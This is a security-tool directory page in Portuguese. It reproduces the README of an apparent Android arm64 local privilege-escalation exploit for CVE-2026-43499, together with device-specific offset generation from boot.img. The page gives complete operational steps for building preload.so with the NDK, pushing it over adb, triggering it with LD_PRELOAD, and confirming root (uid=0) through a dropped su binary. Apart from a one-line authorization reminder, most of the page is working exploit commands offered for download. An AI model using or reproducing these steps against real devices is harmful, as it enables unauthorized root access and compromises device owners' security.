Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-43499_HW-CLT-AL01 — Gera offsets de kernel por dispositivo a partir do boot.img e compila uma biblioteca de pré-carregamento para explorar a escalada de privilégios local no Android arm64 (CVE-2026-43499). | Kitploit
Ferramentas/GitHubGitHub/zychen027/cve-2026-43499_hw-clt-al01
Segurança AndroidEscalada de PrivilégiosExploraçãoSegurança MóvelDesenvolvimento de PayloadsAnálise de FirmwareExploração de Binários
GitHubzychen027/cve-2026-43499_hw-clt-al01

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-43499_HW-CLT-AL01

Gera offsets de kernel por dispositivo a partir do boot.img e compila uma biblioteca de pré-carregamento para explorar a escalada de privilégios local no Android arm64 (CVE-2026-43499).

Ver Repositório
3há 22 diasAinda não revisado

CVE-2026-43499 Android arm64 escalada local de privilégios (adaptação)

English | 中文


Este é um projeto de adaptação para escalada local de privilégios no Android arm64 usando a CVE-2026-43499.

O projeto gera o target.h com base no boot.img e nas informações de profile do dispositivo de destino e, em seguida, compila o preload.so correspondente.

Observação: este projeto é um framework de adaptação genérico e não está vinculado a um único modelo de dispositivo. A disponibilidade real depende de o generate_target.py conseguir gerar o target.h com sucesso e dos resultados dos testes em dispositivo real.


Estrutura do diretório

root@kitploit:~
diretório_do_projeto/
├── boot.img                   # imagem boot do firmware do dispositivo de destino
├── profile.json               # profile do dispositivo de destino
├── detect_offset.py           # usado para detectar o profile
├── generate_target.py         # gera o target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # gerado automaticamente
└── source/build/bin/
    └── preload.so             # artefato compilado

Dependências necessárias

Dependências básicas

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Ambiente recomendado no Windows

No Windows, é recomendado usar:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

Instale o make no MSYS2:

root@kitploit:~
pacman -S make coreutils

Preparação dos arquivos

Você precisa preparar:

root@kitploit:~
boot.img
profile.json

Exemplo de profile:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Esses dois endereços do profile:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

podem ser obtidos executando o script em um telefone já com Root e com o mesmo firmware do boot.img de destino:

root@kitploit:~
python3 detect_offset.py

No Windows também pode:

root@kitploit:~
python detect_offset.py

Passos de uso

1. Entre no diretório do projeto

Linux / macOS:

root@kitploit:~
cd CAMINHO/projeto

Exemplo no Windows MSYS2:

root@kitploit:~
cd CAMINHO/CVE-2026-43499-Poc-Analysis-main

2. Defina o caminho do NDK

Exemplo no Linux / macOS:

root@kitploit:~
export ANDROID_NDK_HOME=CAMINHO/android-ndk

Exemplo no Windows MSYS2:

root@kitploit:~
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29

3. Gere o target.h

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h

Ou use no CMD:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h

Se aparecer um aviso de que llvm-objdump não foi encontrado, especifique o caminho manualmente:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h \
  --llvm-objdump "CAMINHO/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Ou use no CMD:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "CAMINHO/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Após o sucesso, você verá algo como:

root@kitploit:~
Gerado com sucesso: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. Compile o preload.so

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Após o sucesso, será gerado:

root@kitploit:~
source/build/bin/preload.so

5. Envie para o dispositivo e execute

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

Verificação:

root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"

Em caso de sucesso, normalmente você verá:

root@kitploit:~
uid=0(root) gid=0(root)

Fluxo de um clique no Windows MSYS2

Seguindo seu exemplo de caminho:

root@kitploit:~
cd CAMINHO/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Arquivo final:

root@kitploit:~
source/build/bin/preload.so

Perguntas frequentes

llvm-objdump não encontrado

Instale o LLVM ou use:

root@kitploit:~
--llvm-objdump "CAMINHO/llvm-objdump"

make não encontrado

No Windows, instale pelo MSYS2:

root@kitploit:~
pacman -S make coreutils

clang não encontrado

Geralmente é porque o caminho do NDK não está configurado corretamente.

Exemplo no Windows MSYS2:

root@kitploit:~
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

Falha ao gerar o target.h

Normalmente significa que o boot.img atual ou o layout do kernel ainda não foi adaptado com sucesso.

Verifique principalmente:

root@kitploit:~
se o boot.img está completo
se o profile está correto
se o llvm-objdump está disponível
se o kernel possui IKCONFIG / kallsyms / BTF

Observações

  • Ao trocar de dispositivo, sistema ou kernel, é necessário gerar novamente o target.h.
  • Não é recomendado editar o target.h manualmente; ele deve ser gerado automaticamente pelo generate_target.py.
  • Use apenas em dispositivos e ambientes para os quais você tem autorização.
Baixar ferramenta